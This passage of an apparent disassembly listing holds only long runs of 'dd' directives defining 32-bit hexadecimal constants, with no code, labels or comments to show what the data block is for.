		dd 114B4DFAh, 10D288ACh, 0B9667BCh, 0CE7DA199h,	0A1D69556h
		dd 1A222E65h, 26906050h, 4CCD17D7h, 289CBB5Fh, 0B52B0B60h
		dd 0ADDA2105h, 0A5E2F74Ah, 1A635ACDh, 0B745C57Fh, 0F8BEA3C4h
		dd 50F85BEEh, 0F7CE02AAh, 81EBA633h, 963FDFFEh,	0FE01122Fh
		dd 0E85F56F7h, 0BE20E4D3h, 2579AB3Fh, 0E67F16C2h, 2AE92520h
		dd 6F50CEC1h, 2F5F95CCh, 4837C18Bh, 0D6B5BE01h,	0CC7B8B3Bh
		dd 4CC2BA6Dh, 0FE81F011h, 7C4CBB68h, 6578142Dh,	0FFE72E41h
		dd 5708F99h, 0F016E86Fh, 4AB59AAFh, 33581788h, 0F01AC22Bh
		dd 389AD240h, 11C54D48h, 1761285h, 33C50B7h, 0D93A81D0h
		dd 84199445h, 82D8E9Dh,	0D9E90D10h, 7E57CA4Ch, 1E810869h
		dd 3C400306h, 0C206624Fh, 8B071175h, 0D6125B9Fh, 0F805362Dh
		dd 0C181C5Bh, 0A520D103h, 0D84DDE2Fh, 9311208h,	518F6480h
		dd 0A12A6D05h, 84C7388Ch, 45808B51h, 51A98110h,	0B58214B0h
		dd 0C3C03359h, 218D7040h, 2491C591h, 43CCAE4Bh,	0A7D20968h
		dd 0FB5DD49Ah, 34064A81h, 0F1820908h, 0D34F2952h, 0F42B7589h
		dd 9E4F991Dh, 27D492FDh, 0C6F45E2Dh, 81F2B060h,	88B498C6h
		dd 0FBADF8Dh, 559E2410h, 0F827C2A0h, 9498AA61h,	0FF226E0Ah
		dd 71C9D336h, 8789078Ch, 59ED03D1h, 7A582E00h, 0F854C181h
		dd 147769Fh, 7ED065E9h,	82C28B55h, 0A78DC51Ch, 0C55906h
		dd 0BF401B70h, 0A002AA8h, 55F37F80h, 39740614h,	899A0D47h
		dd 0D355820Eh, 94BBBE20h, 9887273Eh, 30F0A7AEh,	4D811B8Fh
		dd 0BF3E1709h, 830881C6h, 4D2001EEh, 7A4F1AD8h,	0C60024Eh
		dd 4A485193h, 39882455h, 808559A5h, 46CF91Ah, 6128971h
		dd 8304C7D7h, 0CA83E480h, 7841C8D9h, 0B8550E34h, 0FEA370EEh
		dd 0B0E0D51Dh, 0A1F82F1Bh, 329F070Eh, 4A4C803Bh, 10F6257h
		dd 7063C0A6h, 0BA4BB84Eh, 7A21E408h, 0B8839C83h, 0ED48F82h
		dd 0D0130134h, 0F1500E0Dh, 5828B265h, 0F5F309Ch, 4BC0A311h
		dd 77805388h, 5410F57h,	0B367007Fh, 4BEB51A2h, 20C01A20h
		dd 0D195C237h, 0F3540F48h, 5413E73h, 0E4B1D84Dh, 0DC001F5Bh
		dd 70BD11A8h, 0C3422D4Ch, 0D9903759h, 56EA50B7h, 90012CBh
		dd 68F61E9h, 0C13C7401h, 0B8D4D518h, 1D38BE5Dh,	18B0FFE1h
		dd 3A5E37B4h, 50604E34h, 0ABCA966Ah, 2BB3D303h,	307BCB50h
		dd 91216608h, 9A01CA8Eh, 6E520C38h, 9CC8E951h, 0CCEC1873h
		dd 4692606Dh, 6837B531h, 8180541Bh, 0C840F2F7h,	220EFDFCh
		dd 600ECE73h, 80EAF5A9h, 7C430018h, 25C95215h, 7D002223h
		dd 964160CEh, 6A7FA9h, 52EF24DEh, 9D7CA853h, 9A945503h
		dd 0E7B1F49Fh, 0D7807D8Fh, 0B741AB52h, 0BE2C00B6h, 0AFB0D20Bh
		dd 4B00661Ch, 0A6D7A77Eh, 8C65F6h, 9CA944D3h, 0E280E4B8h
		dd 95320C00h, 1FAEE75Bh, 8C421DEBh, 0A48F0006h,	0FFD345E5h
		dd 0B4467C03h, 1B2E84A8h, 20EAEF08h, 17D33ED8h,	0C5EF917h
		dd 93D4100h, 2EF4682Ah,	0F54AEF2h, 0FFCC3208h, 761F2510h
		dd 0CD8E1604h, 0F59DA689h, 91051248h, 7862004Fh, 0FCA72B3h
		dd 2F974D01h, 0F1A61476h, 24053087h, 0B6E81B2h,	31E0E0CEh
		dd 782DA8C0h, 7387B1DFh, 0E141BFFh, 58612005h, 947B7021h
		dd 0EA24E900h, 390A0940h, 0A484424Fh, 1B59F78h,	0F9221473h
		dd 0EA4870B0h, 81C07604h, 0E3D5C52Fh, 0BAE400FCh, 0E06C1DF6h
		dd 0B2F69347h, 8E730500h, 0C7B4826Ah, 0BDA00B7h, 0D3674CEFh
		dd 3100A1CAh, 59B33C14h, 1F1B6Eh, 3D3EADDBh, 0C1E4DDB6h
		dd 0AE6D0218h, 744BBC38h, 0C7AD01BBh, 71A5601Dh, 0B4C6FCE0h
		dd 383B9A75h, 0B95A18B6h, 6046BC69h, 764231BEh,	28C0B0D6h
		dd 0CB31052Eh, 0C6680D9Ch, 0F031B35Bh, 0C10040ECh, 9938877Dh
		dd 1920276h, 0D512D722h, 0F0BD90BAh, 0C501A389h, 18BCE17Eh
		dd 91212891h, 0F8AD408Eh, 0AB972223h, 70A8A00Fh, 8648046h
		dd 0B0823Bh, 0FCEC6F69h, 38FD177Eh, 1D0E053Ah, 344B7C65h
		dd 5D04030Fh, 209163C1h, 0C078B9A1h, 0E7001AFAh, 9F3C1B56h
		dd 185FE8B8h, 2918B368h, 0D000AD15h, 11E593B6h,	0A70161h
		dd 0B4B58776h, 0E64E79D8h, 0A2463602h, 409ABE89h, 0E8B1E33Fh
		dd 0D4CB0762h, 3072A03Bh, 33BF3DA7h, 0AC08776Eh, 6E2031h
		dd 8F5CA044h, 9BEFE21Ah, 52E6A300h, 5D67D0C0h, 89421DB4h
		dd 0AB5030C5h, 197AF18Ch, 5E16710Ch, 0C0AF094Ah, 0F1848B21h
		dd 30120970h, 1C005BE4h, 0B4CB04E1h, 0A6AE18A9h, 300858D6h
		dd 20614436h, 48B43C89h, 0B91C741Bh, 41912C0h, 15A38A05h
		dd 0BE19B09Fh, 21803308h, 48041071h, 5300E406h,	0EEAC366h
		dd 80F8C8h, 0C2E025BEh,	4B2911AAh, 73EB4F8h, 2B1B1881h
		dd 77EA41h, 0ACDEC0CEh,	0CF1D8555h, 7CA10E72h, 0F1D81941h
		dd 1186A218h, 8410A67Ch, 0ED01F181h, 0A76D2691h, 40D6B396h
		dd 0AB8FBEh, 4932AFA8h,	0BC3FD061h, 60F8556Fh, 0D120DDA1h
		dd 59EE0088h, 6EB689E0h, 0CF00A6B3h, 0AAA96082h, 7223FA8Eh
		dd 13F90073h, 7A1035A2h, 82391997h, 56B580A5h, 0F24FD4FEh
		dd 4DDC0314h, 4BD82285h, 0A281B90h, 3A346A58h, 1D2F3C19h
		dd 5600E6F7h, 3D435E96h, 177D0014h, 0B31136F4h,	3E7F8729h
		dd 0ACBB18C0h, 7C5B6E2Eh, 0C5EA3C39h, 0CEE4800h, 0BA7E9D3Ah
		dd 6A285060h, 0C0229736h, 82C28F61h, 3F3BB1AEh,	29680FFh
		dd 7A144023h, 0DE9003A6h, 0B31B92A4h, 1A1930B6h, 12282CE0h
		dd 971CB408h, 1BC0DBD6h, 53BC686Ah, 3A0D0128h, 0AB37DA15h
		dd 1CD1A1E4h, 749794h, 0ACBA69E8h, 5614D46h, 0C28ED839h
		dd 294C077Ch, 0C05596A7h, 156BED19h, 880B7CB8h,	0BA938387h
		dd 1F26B34h, 37EAF3E0h,	65D9ED0Ch, 6A2031h, 0A899E1EFh
		dd 7297192Fh, 0C12AA600h, 3E96789Bh, 0FB983042h, 0C6EBEDB1h
		dd 0B303A8F4h, 5038BA99h, 6C62A079h, 513A6334h,	8031E98h
		dd 7ABD312Fh, 391000B2h, 67C12CAEh, 1C01C6A6h, 51E10802h
		dd 97FC6F44h, 78A76033h, 63BF70C3h, 5B088805h, 0A0046CDBh
		dd 0BB402C7Eh, 624630B4h, 6703900h, 0F4904D9Dh,	0B7B8F8h
		dd 582E9F1Ch, 1D6EEBD1h, 0AC38530Ch, 14987933h,	241B7186h
		dd 0F471110h, 0E1EBD0F5h, 0B5019520h, 0A0F1B470h, 126A34ECh
		dd 451D40FEh, 8088FA1Ch, 4BF59284h, 0AD9B1C19h,	21872408h
		dd 0E0729059h, 1BD1D8ACh, 0B88D1902h, 803E428Fh, 71C538CCh
		dd 6961462h, 0CE14EC2Eh, 0A5049C21h, 812CA3E4h,	21966120h
		dd 425C5480h, 6B139E4h,	9A19ACA3h, 675219C6h, 2C9D00BCh
		dd 0CE1DE3E7h, 48C718EBh, 0CBDCF8C8h, 0BA582162h, 10404219h
		dd 736208D0h, 559B062Ch, 9A32B4Dh, 5021106Ah, 6EB22C00h
		dd 12DC19D2h, 54FE9E9Bh
		dd 0D47EB4BCh, 32105459h, 0AB390C4Eh, 3A34117h,	25B469ECh
		dd 28C6DF57h, 4143FE30h, 0C6366Fh, 95B24A52h, 2A61AB4Ch
		dd 0B700B3F8h, 0A6CF0A4Fh, 1EEFE9Ah, 0A1869658h, 70D99044h
		dd 5C01BC14h, 6259D5CBh, 0B8E35FBFh, 0EEC628F2h, 7160F3Fh
		dd 1EBC425h, 4AEA5000h,	6100A38Eh, 0C67DA52h, 0ECCC2EB0h
		dd 0A4280074h, 9D54DBB7h, 8C00FBD5h, 0AFD49424h, 0D23AB1h
		dd 0F263C86Eh, 4819BB40h, 0B9082800h, 873795DAh, 9F4B0D51h
		dd 0F838F180h, 560E25ECh, 0A03F1511h, 9B95D498h, 0BB60010Ch
		dd 6B5786C5h, 8CEFD8E7h, 0A9C9B103h, 0E3D4A61Eh, 52075D7h
		dd 0A24419F9h, 7820383Eh, 9C04B746h, 8A1BD4h, 0AC56967Ah
		dd 0C89562D1h, 0BCC01CB4h, 9071A5Ch, 8CA5398h, 7321DF46h
		dd 49E60792h, 0A06F2896h, 0A7E50CBCh, 8E60D845h, 0B5651D27h
		dd 0A58B4067h, 596B6F73h, 104A7E0Eh, 3D25232Dh,	0D43100FDh
		dd 0A5D951F5h, 780C3107h, 86916D0h, 0C821C1DAh,	0D079D959h
		dd 732F49Dh, 0E04AB88Fh, 37F1B50h, 5085286Eh, 307327CFh
		dd 6601A1F2h, 0D3C47015h, 0D5F01EB4h, 20F06309h, 9DC03E95h
		dd 11C025AEh, 32123504h, 0B1212C9Ch, 0B0590ECDh, 69210D8Ch
		dd 4E123D00h, 8E50D9C7h, 856304EDh, 0A931CA7h, 0D037C4BCh
		dd 0F3016690h, 0FD6D044Dh, 8069E6D6h, 8C8B9F18h, 0D40ADAF6h
		dd 0BC8E24E8h, 17805311h, 225C37E6h, 93E0448Ch,	8CE61F00h
		dd 88A75C0Bh, 26E5A033h, 67BDFED5h, 0B9748199h,	0F007C907h
		dd 910F28EAh, 217608CCh, 55A10759h, 90C8C45Eh, 0E241BC50h
		dd 59AA422h, 0B14E5A32h, 23502EC4h, 4F0500E7h, 0F3F2A9C5h
		dd 0DDFB1C02h, 82E50392h, 123F4D0h, 2649252Bh, 0D94D0200h
		dd 315107A9h, 551017D7h, 47A81D9h, 0A360113Fh, 16A88014h
		dd 6F013DEDh, 4F85AE0Fh, 30422534h, 0D94C3044h,	6907AC11h
		dd 0D580F288h, 6717D954h, 0F8CC3D92h, 6C00DE58h, 240F4A7Dh
		dd 114CD383h, 7829308Eh, 181DA427h, 0D82693D1h,	468428BBh
		dd 0D94B023Fh, 316107ABh, 53D610DEh, 80C403D9h,	5E33187Ah
		dd 79127000h, 0BE5432E9h, 0D6350590h, 195A80Ah,	0FC3444D0h
		dd 8341808Eh, 59FEA98Ah, 0F6C471E2h, 5A2F054Ch,	0C0E34398h
		dd 0FC8E2DE8h, 39A7E10Ch, 155F98D5h, 64FF3757h,	7D0FCF3Eh
		dd 25EA4F86h, 0DD467CD0h, 0AB87077Dh, 0F20797E8h, 0BC40D210h
		dd 49D466A7h, 1572328h,	5C3BE62Bh, 88EB1802h, 0E500D38Fh
		dd 0F01839B5h, 0FE0E3ABCh, 58A8F5FCh, 239610A4h, 5A2352h
		dd 5C3AE630h, 448608FAh, 18008EECh, 0CF9F8AE6h,	45839D2h
		dd 0EEEF1403h, 0C80CC78Ch, 2C123BC0h, 2231469Ch, 43670F0Bh
		dd 0BE00E012h, 792C17C4h, 0D0F5714h, 0D49012B0h, 0C025D008h
		dd 74C55ACh, 82229146h,	55A45400h, 74A97B4h, 0C0CDF070h
		dd 0E21513F0h, 0D26CC6A8h, 8C185828h, 5155A504h, 7D628907h
		dd 559D4D20h, 34C90139h, 1BE3F42Ch, 5BA430F3h, 69541316h
		dd 5DA34800h, 1C26CB6Eh, 300AD58Eh, 23DD21E9h, 9260DE98h
		dd 0D6165120h, 8F752609h, 60A244A8h, 231D1236h,	1711499Ch
		dd 123E660Fh, 74393DA9h, 0B7218741h, 0BC648D14h, 232FEC82h
		dd 0C18A700Eh, 0FE38888Ch, 9382A58h, 2E46A7E2h,	0F4E1AA70h
		dd 91842780h, 0D7C47Fh,	596A8596h, 75CF88E6h, 0BA20D100h
		dd 2C1122F7h, 8E6028A8h, 6A44664h, 9C1F123Ch, 0E6489C0h
		dd 12446410h, 57900B0Fh, 0DE3FC03Dh, 8B1C61D5h,	965285F8h
		dd 363D9492h, 26D33C73h, 4674DC32h, 0E6B3007Bh,	0F5D514CCh
		dd 0E20B007Dh, 0D20D6E87h, 0BF245807h, 62163C17h, 0C0B81077h
		dd 75255A6h, 9F348152h,	7D559E40h, 70E74D0h, 62E55B3Bh
		dd 0E31B983Fh, 0F8A0E024h, 1EB526B1h, 2625908Ch, 0B89F40Ah
		dd 3D889F24h, 100D0046h, 0B8C54CBEh, 0CD1402FCh, 8C1321ADh
		dd 3E58A4AAh, 609070A0h, 2204D01Eh, 41217C9Ah, 31185908h
		dd 5C35E604h, 0EA320912h, 0E6198D20h, 0B5FB1E5Fh, 3DEB4237h
		dd 0E4B0A29Dh, 5442855Ah, 1DA51D7Bh, 1822C3CEh,	78488FB7h
		dd 8CEBE844h, 4330C900h, 0E150A7BCh, 428BAA2h, 0F7576724h
		dd 5DD4C826h, 84835528h, 74971729h, 2918DDD1h, 6FCCA400h
		dd 0BB5B1C15h, 0B671C17Eh, 0FC531BCBh, 0E1004705h, 0C063EA6Eh
		dd 9C2B26Fh, 1714AE11h,	827C0085h, 34201228h, 5184135Ch
		dd 0D060C866h, 73F2401Fh, 1D4C7CB8h, 0E4072484h, 1F24FF0Bh
		dd 0B463DD0h, 901EAE68h, 2CF4F8C8h, 1A68842h, 0FBBE6D96h
		dd 0C83180DBh, 0AF65A633h, 647BAAh, 8EC7877Dh, 9EA74B45h
		dd 7CE5E4AAh, 1067EAE4h, 3D166A7Bh, 2199F004h, 5B41CF0Fh
		dd 4276DF73h, 0D8CA6C84h, 10E04841h, 0F0781Ah, 0CB86C2B6h
		dd 0BE9C5113h, 0BC8D4600h, 62054A68h, 6453545Fh, 0C78A0250h
		dd 986CF1BBh, 997FD0E6h, 874B3300h, 8D644B1h, 3C54911Dh
		dd 0F3E1A301h, 0E717AD36h, 8107E49Bh, 1F262854h, 358E0DB0h
		dd 4927007Bh, 0D6DEE361h, 8360FB64h, 0ED53A779h, 4B8701C7h
		dd 3AE2480Bh, 9F2C30ACh, 0C488EF28h, 0D3B1DC00h, 0AD21D4Ah
		dd 0F8926068h, 0A813C5FDh, 0CD5F2600h, 0E19DCA5h, 235B1C8Bh
		dd 6477C6FFh, 0B0C408Ah, 58305158h, 19E103ECh, 0F8B583FCh
		dd 42252CC8h, 52011093h, 3907A6D9h, 0C788DB18h,	2C985Ah
		dd 7B3B50F8h, 0DDD5B2CAh, 1F7E4C7Dh, 94536B1Ah,	445467A0h
		dd 1D6C600Dh, 8FD101B3h, 0AECD92EBh, 0A72B1027h, 0C8A20289h
		dd 0E48CBDE3h, 85238061h, 8DA4E061h, 5B1EDC5Fh,	0D50BB1B1h
		dd 480140C8h, 2B25F063h, 0DB118897h, 641EDD81h,	7A20EC96h
		dd 5C6422EFh, 8CEABCDCh, 6A165800h, 0CAACB454h,	59B205B1h
		dd 0B82EF6Bh, 2404649Ch, 55AA6023h, 0A107234Eh,	0A7D8311h
		dd 39C755A2h, 8DA038C0h, 26FC9B39h, 59031088h, 8ABB56h
		dd 171CD731h, 110F7460h, 0A203780Eh, 1EC6016h, 0CB779E2h
		dd 733B4B51h, 23022448h, 47014DCh, 0F058ECh, 4954D780h
		dd 9A6C565Ah, 758D063h,	0C801E250h, 17718F8Ch, 1C1EA426h
		dd 194DC16Ah, 0BD0B5C48h, 7D381F20h, 206D25CAh,	8C2AC470h
		dd 181A8C81h, 4F5509A7h, 0C0657907h, 559F5380h,	1C41E8AEh
		dd 608096h, 85B8CA10h, 0B4A7FE2Eh, 0B9607644h, 8E02C1C7h
		dd 0E4210F3h, 793C51E5h, 0FC3E187Bh, 33E200B3h,	0A77AC5EFh
		dd 0C4CD5ADh, 0A218230h, 741C48D3h, 0AC442E2Fh,	0D07347B8h
		dd 3A07375Eh, 89E5AE05h, 72803D1Ch, 269E0DCBh, 3C3966h
		dd 0E4604755h, 4F4F2FFBh, 0E0F31C20h, 0A9E90F40h, 0F980DC14h
		dd 5369E2DEh, 2D64540Ch, 440C80D5h, 7E25BCFh, 712C5092h
		dd 8589ACFFh, 60649253h, 13DCC29Ch, 45F9D73h, 0E6BE7D0h
		dd 0AA9C20A3h, 48D564A0h, 0BB85F808h, 66884089h, 8293AE04h
		dd 1E9F413Fh, 7D1FF6B6h, 0F7FA0D80h, 64489h, 2E8BA3A4h
		dd 4E542F6Fh, 58734A0Fh, 66AB6E83h, 1854A433h, 7872EB3Ah
		dd 0EF00D75Ah, 55681166h, 0EB0BFB94h, 32519864h, 3B1A26ACh
		dd 5ECB4848h, 101A0EF0h, 61998FC2h, 0C10DEA4h, 0E94B44A0h
		dd 80CCB408h, 0C64AC81Ch, 6D00872Bh, 0DC73A4CFh, 43718F0h
		dd 0F6F40F4Bh, 7424E342h, 14045A00h, 4C8F22F3h,	5878190Dh
		dd 202F58E8h, 95005069h, 14F39205h, 7D3E9A9h, 0CEBF39F4h
		dd 7A255052h, 0B3007C76h, 0D7954679h, 30D10C1h,	9131B605h
		dd 830B5FCh, 0C9B72189h, 637610h, 268BD93Fh, 77BD02EEh
		dd 13D28A0Ch, 0F0FB287Eh
		dd 8FED3EC2h, 1F351060h, 19016537h, 1152960Ch, 3ED095F4h
		dd 5C20C078h, 0E22136D6h, 3563A600h, 9FF553ECh,	567C17D5h
		dd 1DB91E58h, 6C50337Fh, 0C751CCC1h, 0A261100h,	58D2BF3Bh
		dd 0CB751893h, 95400850h, 18B20C0h, 1B3D1F3Bh, 0C889A3DBh
		dd 32A228E0h, 3707B107h, 0D0F0A402h, 3C2D8F59h,	84305261h
		dd 35BAB429h, 0DFF561Fh, 6082A8CEh, 1A87586Eh, 0C95D00EBh
		dd 0DA52BADBh, 7D6193F2h, 6662F5D0h, 6117D8h, 0E270484Bh
		dd 0D5C46AC1h, 0F43D3A7Eh, 48500D4h, 6621D276h,	78090ABCh
		dd 406CCA94h, 0D2BD3B08h, 16F6E9h, 223AFF91h, 788EC57Eh
		dd 92309A00h, 9FFE45CEh, 99C1C375h, 0F1E9CF7Fh,	0F8B4CC6Eh
		dd 80088665h, 0CF767000h, 92D0D4h, 0D3B0E85Dh, 0FCF926AAh
		dd 0C1D9BA00h, 86B4C5D8h, 0F79A00F1h, 380FA64Fh, 8A01C68Ch
		dd 0FA52ED7Eh, 0F858C877h, 833608D5h, 3DC41C19h, 36CC405Eh
		dd 0BF3E64A5h, 7E1B4401h, 8B5CD8D3h, 0A002C088h, 29A08366h
		dd 11608EF0h, 7AB80F7Dh, 0D50C81CFh, 8AF419E2h,	50D115B9h
		dd 4A009441h, 4DB28B86h, 9E01C785h, 46DE8134h, 0DC80E943h
		dd 0EECC1A92h, 7848A5B7h, 0FC017638h, 879420A0h, 0C851A3F5h
		dd 90C50DD3h, 38FA8440h, 0C9F8C853h, 8236D0C0h,	7CF0D119h
		dd 0AB984022h, 14D53600h, 0E3550F5h, 0C880FB9Ah, 403D1851h
		dd 8B1DEEF6h, 9706C791h, 690C061h, 0F2317B0Ah, 6501699Bh
		dd 93B45909h, 9CF15DAEh, 4F0019B8h, 21DA4789h, 15011DF5h
		dd 0A65F79Fh, 0D4F038FBh, 0D35A058Fh, 4073A030h, 3EB70CA0h
		dd 6700C0C1h, 0CABE5517h, 78AE0769h, 0F48F1290h, 0C9BC32B6h
		dd 283B0730h, 0A695D2DAh, 903C44BCh, 353AFE00h,	2F372615h
		dd 86FAA1AFh, 0B8CB7983h, 13BB8DC6h, 0B2611698h, 0A93A3698h
		dd 0C780879Eh, 0EAB015CEh, 38E26F8Fh, 0C4945CFh, 3242898Fh
		dd 83317EF1h, 0CF80B610h, 0C2A18804h, 60D07AECh, 2C657FCh
		dd 0E5AD09C1h, 80650271h, 7860EBE4h, 3400576Fh,	9BDBEF54h
		dd 3B235B87h, 6E00337Bh, 6677436Bh, 1600E5CFh, 609AF2FAh
		dd 11270EBh, 209E6EA0h,	0EC4B07FBh, 254C50F8h, 158E0010h
		dd 1B76A4D2h, 3047009Ch, 0B077DBD1h, 615C9E56h,	4013302Dh
		dd 60FF15CFh, 4AC258F7h, 66E279D1h, 3817A600h, 0D6E667C8h
		dd 507C4895h, 0B424C723h, 0C4198804h, 0C04B5098h, 36CD5321h
		dd 8F0238A0h, 0A3CFD981h, 0D6A8A06Ch, 0B4B586h,	80F015EFh
		dd 0D7CD24CAh, 84F5024h, 61CF5180h, 882EFAh, 5A1C71B2h
		dd 0AF43D97h, 0D7EB6300h, 0CB6E9A60h, 0E67002D2h, 72A49545h
		dd 7FE0EB20h, 67B90621h, 187E29FCh, 7325040Ch, 789388Fh
		dd 0BFF0EA93h, 8C06F92Dh, 5244800Ch, 396D00DFh,	0E712E57h
		dd 111E652Ah, 440022A8h, 59CFEEE4h, 38DFE7h, 51EFE3A0h
		dd 0C719F0DBh, 3819DCF6h, 7FAD4EF0h, 75CF3F2Fh,	7E0219C0h
		dd 0FB06DDC3h, 1BF0684Fh, 0F84250FFh, 189874h, 0D005EC69h
		dd 0F94398D8h, 0F00E7491h, 4887EC9Fh, 24DA4979h, 2E6FBD07h
		dd 4D096026h, 0F4508789h, 11007664h, 0BDDAE89Ah, 37F2DB01h
		dd 0BE387F14h, 15332240h, 29003194h, 888C7D53h,	1D1884DBh
		dd 676DEDh, 3F6AD59Ch, 0E5033E57h, 89D9C044h, 5208304Ch
		dd 57474921h, 8772943Eh, 4A9D14BBh, 32D48BE0h, 0B9180CFAh
		dd 0FC9285F9h, 61DB771Dh, 570A3830h, 0F2F3009Bh, 3633731Ah
		dd 87003840h, 4110D0D7h, 903A6024h, 618B01A3h, 5B0F2C84h
		dd 832BF15Ah, 0A09E1248h, 0E7B023D5h, 44573D01h, 3E1834E5h
		dd 75454B88h, 8C020357h, 0F2BD605h, 0CD199103h,	6F53C52h
		dd 5FB0760h, 0FE06788Ch, 96B09BD5h, 44BC0029h, 4185362Fh
		dd 1D1D0CA2h, 0B918A19Ah, 0E4CD721h, 47C26B2Eh,	0BE92A460h
		dd 6C03EC09h, 0C573E5AAh, 937802DCh, 770B310Ah,	4F91BC9Dh
		dd 7A8D5480h, 0E56088BAh, 218E0A19h, 0B55000DBh, 9BD054A9h
		dd 640F7CB8h, 6D89C2Eh,	0B10B3C7h, 5E74608Dh, 0FAFC100h
		dd 81006AD4h, 112EA33h,	0B2A43Dh, 0BB11C7C4h, 2EAB6602h
		dd 0B4472906h, 60F66FFEh, 4ED1DAF9h, 85009722h,	15219932h
		dd 75F49D9Bh, 716500A4h, 22A2C0D8h, 0DD79E1C9h,	735D4B1Fh
		dd 7BE42700h, 14F703h, 3AE62039h, 0E9455409h, 10C08D00h
		dd 255F8826h, 0C4AF012Dh, 0B494C1B7h, 2964C0E6h, 59BB5500h
		dd 0BE90B985h, 0F2410F67h, 0AF877663h, 7E9CC060h, 7C002D02h
		dd 152398F8h, 760851h, 0D8F0A1B3h, 4807F4Eh, 0B2CCDB07h
		dd 61734253h, 0E018008Ch, 6E3DCA2Fh, 64F83C78h,	1D10D643h
		dd 4F228472h, 77E4ED20h, 1851BE89h, 0EA08B449h,	295719C1h
		dd 7E00762Ah, 41406517h, 505D31D8h, 60FC4E08h, 4B07484h
		dd 7EC6B318h, 193CBB18h, 50056569h, 1481BC01h, 71CA704h
		dd 0B7438D2Eh, 0C14B1223h, 0C7E0D1CDh, 0C9BC1944h, 133E70C1h
		dd 5B10108Bh, 4B48F37h,	0C3414014h, 0E302E4BFh,	4F780D90h
		dd 8AB5B018h, 20CA09C9h, 0E72ADB20h, 77EAACE1h,	0C3BFE503h
		dd 3F7666A8h, 0FC803E99h, 9E469906h, 95005475h,	0B891D65h
		dd 309770C3h, 0DB40D90Dh, 0ECE98F63h, 2300603Eh, 0E1BD24E3h
		dd 0C41D969h, 488EDA31h, 0C800EFA1h, 6AFC8C2Ch,	1085F87h
		dd 4EE67E09h, 80C09880h, 69C27A9h, 2E63C5D2h, 6C877Dh
		dd 7E1169ECh, 0D400E75Ch, 120AFD94h, 5DAABDh, 19F13E99h
		dd 0E9E5BC62h, 8038BA6Fh, 460F4DE1h, 0E69D1CF9h, 8919B049h
		dd 0C10091ACh, 9ABFCEFBh, 28995A41h, 0C546617h,	0D149EA3Bh
		dd 0F460B830h, 0BFDEB99h, 3D2F43Eh, 8C08A4EDh, 0E2E8B156h
		dd 0A107D915h, 0C7C9356Ch, 0B41B60AFh, 0FE5D4C3Ch, 0DA220195h
		dd 0C1FDBBCDh, 9A8986E9h, 0EC1821B9h, 9BBCA893h, 43FF38CCh
		dd 80866E9Ch, 0C64D082Fh, 28004CE4h, 0A9542B40h, 1E6FE3Ah
		dd 0E7ABAF14h, 8394C98Bh, 0E21DFD41h, 0D0C9012Bh, 87585E6Eh
		dd 0F712F002h, 3C430902h, 40C8D629h, 48D49680h,	0C639147Ch
		dd 53D38100h, 354778D8h, 5767FB00h, 0EF5E13F5h,	98C000B9h
		dd 0FC719BC5h, 147C32EEh, 592E7707h, 7D81EF5Dh,	1840585Fh
		dd 0F346CBAh, 127572F6h, 97E062AEh, 0BC7D0406h,	0DCE53200h
		dd 20D276DDh, 0C31A00A5h, 631EC52Eh, 86006982h,	52921BAh
		dd 7C2FDC5Ah, 0FC491E3Fh, 0C0142984h, 92AF26DBh, 76062B04h
		dd 3C3C276Fh, 73262C07h, 23939DA0h, 9E50DF35h, 37BDCCBh
		dd 51BCAAF6h, 7FE2451Fh, 141E7EC2h, 70FF7630h, 0A797C81Eh
		dd 884C0074h, 0AE354D6Fh, 3F52F3Fh, 0C673ED1Fh,	8F18D866h
		dd 54B71487h, 7EE03494h, 0A5020FCAh, 5E36892h, 1F20B01Eh
		dd 462D0A34h, 7344CFC3h, 2E6929E0h, 3F72E93Bh, 1000F2ECh
		dd 0B6671FF3h, 24E094Dh, 0B15D9239h, 0ECA55A9Ah, 0C63FC074h
		dd 0F60CAA7Ch, 8A1E52Eh, 20546071h, 93152BA6h, 62DCBD00h
		dd 0ECFE144Eh, 1CC012F7h, 181804E0h, 0BE0604CDh, 0F3801C94h
		dd 90FDA4EAh, 0F2210166h, 4943E4BCh, 6703FCAFh,	55D52618h
		dd 63A6E90h, 0FF141A5Bh, 0EF0641ECh, 0E118E8E3h, 8B110C60h
		dd 1C78646Eh, 462C140Ch, 0D22935h, 0BA881E6Ah, 0B1DA59B3h
		dd 7308A464h, 0B2705C90h, 472C071Eh, 0A08AF87Dh, 694B6FD3h
		dd 0FBD1F018h, 19FA8660h, 0F05F0FCBh, 0F4023014h, 3DCA23Ah
		dd 95D464DBh, 0F0A3CEh,	0F4859F21h, 0BBF8E61Bh,	80904148h
		dd 0F7CF9EE9h, 2F88A067h, 73FF1E71h, 0EF6607F8h, 80C11012h
		dd 0AD0EC8E4h, 40507C26h
		dd 0D16CD6C5h, 0EF4E0002h, 1718F15Ch, 230D8E48h, 10F4E714h
		dd 24B8041Eh, 16E8491Fh, 84F55C01h, 0B7D0F81Fh,	0BCAB002Bh
		dd 0D17B216Eh, 3F182404h, 4F285EE2h, 300B888Bh,	88792688h
		dd 6888E1F3h, 2C5F8890h, 8875ED88h, 1F88A9D7h, 8F3897Dh
		dd 0D0C7209Ch, 22AA8B22h, 4760884Fh, 3496CAA1h,	0C1190062h
		dd 0CB045D86h, 120F3A1Ch, 20790E7Eh, 0D949E09Ch, 85BC00C5h
		dd 78539EEBh, 6478CDF2h, 985A6700h, 0FA7E4BA1h,	6D68000Eh
		dd 69286A15h, 40F88288h, 0C8E2B500h, 2DA957F3h,	0AA5200F9h
		dd 38651031h, 0E01E808Dh, 2C832BCEh, 0C81134C9h, 1C5071EDh
		dd 80A7B481h, 3B9DC114h, 0F3072C65h, 0CA6C255Dh, 27DD3140h
		dd 1C607BABh, 0F15508DCh, 0C007BE10h, 6A0082C6h, 914F8C4Eh
		dd 1F85F6D1h, 0C9EAC3h,	0C4B25B49h, 7F14CDFAh, 0E8190Ah
		dd 0E33A37Ch, 75AF71Fh,	0AE5FE011h, 0F1A82276h,	0D6F08160h
		dd 2C648100h, 0EBD907E3h, 0E85D0030h, 0AAAB2662h, 2F009447h
		dd 6E99A52Eh, 76FDE3h, 40BE023Bh, 426F0E89h, 389FD706h
		dd 4880F6h, 5219CE09h, 7F1B052Ah, 0D9062700h, 31CFD5AAh
		dd 16FE0ED1h, 8547EC18h, 0C915E0AFh, 0F8E261B1h, 74FE4090h
		dd 8E42D43Dh, 4119AA30h, 6545556Dh, 5FC0DC40h, 0F9240094h
		dd 2ABB2C6Bh, 9500398Dh, 743E7E58h, 7E32D707h, 51912EC5h
		dd 0C0660049h, 0C7B6DDE4h, 7B208A60h, 0B23465h,	6EF9B852h
